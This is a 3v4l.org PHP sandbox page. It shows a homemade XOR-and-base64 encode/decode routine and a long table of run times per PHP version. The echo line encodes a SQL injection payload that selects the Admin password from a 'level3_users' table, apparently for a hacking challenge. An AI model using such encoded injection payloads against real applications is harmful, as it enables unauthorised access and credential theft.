3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0' union select 1,2,3,4,password from level3_users where username='Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0090.00916.38
8.3.60.0140.00718.39
8.3.50.0100.00821.99
8.3.40.0100.01018.71
8.3.30.0100.00719.22
8.3.20.0020.00520.29
8.3.10.0040.00422.09
8.3.00.0080.00022.32
8.2.190.0120.00316.75
8.2.180.0120.00916.88
8.2.170.0070.00722.96
8.2.160.0070.00720.53
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0070.01026.16
8.2.120.0080.00019.36
8.2.110.0060.00322.20
8.2.100.0050.01017.87
8.2.90.0050.00319.02
8.2.80.0050.00318.16
8.2.70.0000.00917.63
8.2.60.0000.00818.05
8.2.50.0030.00618.07
8.2.40.0040.00418.34
8.2.30.0050.00318.23
8.2.20.0060.00317.82
8.2.10.0040.00419.44
8.2.00.0040.00417.77
8.1.280.0100.01025.92
8.1.270.0050.00322.19
8.1.260.0060.00326.35
8.1.250.0040.00428.09
8.1.240.0040.00423.96
8.1.230.0030.00919.02
8.1.220.0040.00417.79
8.1.210.0000.00918.77
8.1.200.0040.00717.35
8.1.190.0030.00617.51
8.1.180.0050.00318.10
8.1.170.0050.00318.59
8.1.160.0100.00021.98
8.1.150.0030.00518.59
8.1.140.0040.00417.43
8.1.130.0030.00317.87
8.1.120.0070.00017.37
8.1.110.0050.00217.41
8.1.100.0040.00417.38
8.1.90.0040.00317.43
8.1.80.0080.00017.41
8.1.70.0030.00317.33
8.1.60.0090.00017.58
8.1.50.0000.00817.61
8.1.40.0030.00617.58
8.1.30.0000.00717.57
8.1.20.0050.00317.65
8.1.10.0000.00717.54
8.1.00.0040.00417.46
8.0.300.0080.00018.77
8.0.290.0040.00417.18
8.0.280.0000.00818.44
8.0.270.0030.00317.30
8.0.260.0040.00416.95
8.0.250.0030.00316.98
8.0.240.0000.00916.99
8.0.230.0000.00716.90
8.0.220.0040.00416.84
8.0.210.0070.00016.95
8.0.200.0000.00816.85
8.0.190.0030.00316.95
8.0.180.0050.00316.86
8.0.170.0060.00316.86
8.0.160.0040.00416.93
8.0.150.0000.00816.91
8.0.140.0000.00716.81
8.0.130.0000.00513.32
8.0.120.0040.00416.92
8.0.110.0080.00016.92
8.0.100.0040.00416.87
8.0.90.0000.00716.89
8.0.80.0090.00616.79
8.0.70.0040.00416.82
8.0.60.0040.00417.03
8.0.50.0000.00816.97
8.0.30.0090.01317.22
8.0.20.0110.00817.40
8.0.10.0070.00016.95
8.0.00.0150.00916.88
7.4.330.0050.00015.09
7.4.320.0030.00316.57
7.4.300.0030.00316.61
7.4.290.0070.00016.55
7.4.280.0000.00716.48
7.4.270.0070.00016.63
7.4.260.0070.00016.55
7.4.250.0070.00016.58
7.4.240.0030.00316.44
7.4.230.0070.00016.62
7.4.220.0080.00816.46
7.4.210.0110.00516.63
7.4.200.0000.00716.53
7.4.190.0070.00016.71
7.4.160.0110.00716.30
7.4.150.0160.00317.40
7.4.140.0090.00917.86
7.4.130.0140.01916.51
7.4.120.0090.01016.66
7.4.110.0140.00716.50
7.4.100.0150.01116.53
7.4.90.0100.00716.52
7.4.80.0110.00719.39
7.4.70.0120.00916.57
7.4.60.0060.00916.59
7.4.50.0000.00416.51
7.4.40.0040.01122.77
7.4.30.0110.00616.57
7.4.00.0140.00315.14
7.3.330.0030.00413.39
7.3.320.0030.00313.39
7.3.310.0020.00516.38
7.3.300.0040.00416.40
7.3.290.0100.01016.40
7.3.280.0110.00616.39
7.3.270.0100.00717.40
7.3.260.0140.00516.46
7.3.250.0130.00416.50
7.3.240.0050.01116.48
7.3.230.0080.00816.43
7.3.210.0070.01016.70
7.3.200.0180.00919.39
7.3.190.0070.01016.42
7.3.180.0090.00916.45
7.3.170.0160.00016.64
7.3.160.0110.00516.44
7.3.120.0060.00914.77
7.2.330.0070.01016.74
7.2.320.0110.01016.85
7.2.310.0140.00716.73
7.2.300.0090.01016.62
7.2.290.0170.00716.68
7.1.70.0040.00417.14
7.1.60.0040.02119.82
7.1.50.0070.01717.01
7.1.00.0070.07322.42
7.0.200.0030.00616.72
7.0.140.0000.07322.00
7.0.60.0130.03320.06
7.0.50.0070.03717.87
7.0.40.0000.06020.09
7.0.30.0230.06320.26
7.0.20.0270.05020.10
7.0.10.0230.05320.02
7.0.00.0070.08020.20
5.6.280.0070.07021.11
5.6.210.0170.07020.77
5.6.200.0130.07718.29
5.6.190.0030.04720.57
5.6.180.3500.04020.34
5.6.170.0070.05020.44
5.6.160.0100.07720.43
5.6.150.0030.05318.23
5.6.140.0030.04018.18
5.6.130.0030.04018.28
5.6.120.0030.04321.12
5.6.110.0030.04321.02
5.6.100.0130.07721.03
5.6.90.0070.08321.01
5.6.80.0130.07020.37
5.5.350.0330.03320.54
5.5.340.0000.09018.05
5.5.330.0030.08720.25
5.5.320.0270.04720.24
5.5.310.0300.04720.27
5.5.300.0030.07717.98
5.5.290.0030.04317.92
5.5.280.0070.05020.74
5.5.270.0100.06720.73
5.5.260.0130.03720.80
5.5.250.0070.05720.47
5.5.240.0170.06720.27
5.4.450.0470.05319.48
5.4.440.0630.05319.12
5.4.430.0130.05019.52
5.4.420.0130.05319.46
5.4.410.0170.06019.25
5.4.400.0600.00018.79
5.4.390.1730.00018.75
5.4.380.0270.05318.74
5.4.370.0170.05318.78
5.4.360.0170.05318.50
5.4.350.0230.05718.75
5.4.340.0300.04318.79
5.4.320.0100.03512.51
5.4.310.0050.04412.50
5.4.300.0050.03712.51
5.4.290.0080.03812.50
5.4.280.0060.03412.40
5.4.270.0300.05718.84
5.4.260.0070.06318.95
5.4.250.0200.06719.01
5.4.240.0130.05318.90
5.4.230.0100.07318.95
5.4.220.0130.07018.81
5.4.210.0030.08019.10
5.4.200.0170.05318.79
5.4.190.0100.06018.90
5.4.180.0200.07019.00
5.4.170.0070.06018.89
5.4.160.0070.08018.75
5.4.150.0130.05018.89
5.4.140.0070.07016.42
5.4.130.0170.06316.56
5.4.120.0130.04716.58
5.4.110.0100.05316.46
5.4.100.0170.05016.54
5.4.90.0200.05316.38
5.4.80.0130.04316.50
5.4.70.0200.05316.53
5.4.60.0130.04716.31
5.4.50.0230.05716.63
5.4.40.0230.07016.43
5.4.30.0030.06016.52
5.4.20.0200.06016.38
5.4.10.0130.06016.54
5.4.00.0200.05715.81
5.3.290.0060.04312.80
5.3.280.0230.06014.43
5.3.270.0030.06014.62
5.3.260.0200.05314.69
5.3.250.0100.07314.59
5.3.240.0130.05714.58
5.3.230.0030.06014.60
5.3.220.0130.05314.66
5.3.210.0100.07714.76
5.3.200.0130.07314.48
5.3.190.0030.08314.65
5.3.180.0100.07014.63
5.3.170.0100.08014.57
5.3.160.0300.05014.40
5.3.150.0070.06014.57
5.3.140.0100.07314.78
5.3.130.0100.06314.63
5.3.120.0200.06714.54
5.3.110.0070.08714.57
5.3.100.0100.07314.01
5.3.90.0170.04314.09
5.3.80.0170.06314.12
5.3.70.0030.05714.04
5.3.60.0130.05714.02
5.3.50.0100.05714.03
5.3.40.0000.06014.02
5.3.30.0170.06313.88
5.3.20.0130.05013.79
5.3.10.0100.06313.74
5.3.00.0030.07713.64
5.2.170.0100.04711.14
5.2.160.0130.04711.23
5.2.150.0100.04011.24
5.2.140.0100.06311.23
5.2.130.0100.04011.29
5.2.120.0130.03711.07
5.2.110.0130.04311.19
5.2.100.0100.05011.18
5.2.90.0070.05311.19
5.2.80.0200.04011.32
5.2.70.0070.06011.32
5.2.60.0000.05310.97
5.2.50.0070.04310.89
5.2.40.0070.04311.17
5.2.30.0070.05311.05
5.2.20.0030.06310.93
5.2.10.0170.04010.94
5.2.00.0100.05310.81
5.1.60.0070.03710.20
5.1.50.0100.0479.94
5.1.40.0030.0479.99
5.1.30.0130.04310.32
5.1.20.0030.05710.43
5.1.10.0070.0339.91
5.1.00.0100.05010.17
5.0.50.0170.0308.63
5.0.40.0000.0378.50
5.0.30.0100.0638.48
5.0.20.0000.0308.40
5.0.10.0000.0338.03
5.0.00.0030.0608.16
4.4.90.0070.0206.58
4.4.80.0070.0276.58
4.4.70.0100.0276.58
4.4.60.0000.0276.58
4.4.50.0030.0236.58
4.4.40.0070.0436.58
4.4.30.0070.0306.58
4.4.20.0030.0206.58
4.4.10.0070.0306.58
4.4.00.0100.0406.58
4.3.110.0030.0336.58
4.3.100.0000.0306.58
4.3.90.0100.0206.58
4.3.80.0030.0306.58
4.3.70.0030.0236.58
4.3.60.0130.0136.58
4.3.50.0030.0206.58
4.3.40.0000.0376.58
4.3.30.0170.0276.58
4.3.20.0000.0276.58
4.3.10.0070.0236.58
4.3.00.0100.0206.13

preferences:
50.9 ms | 401 KiB | 5 Q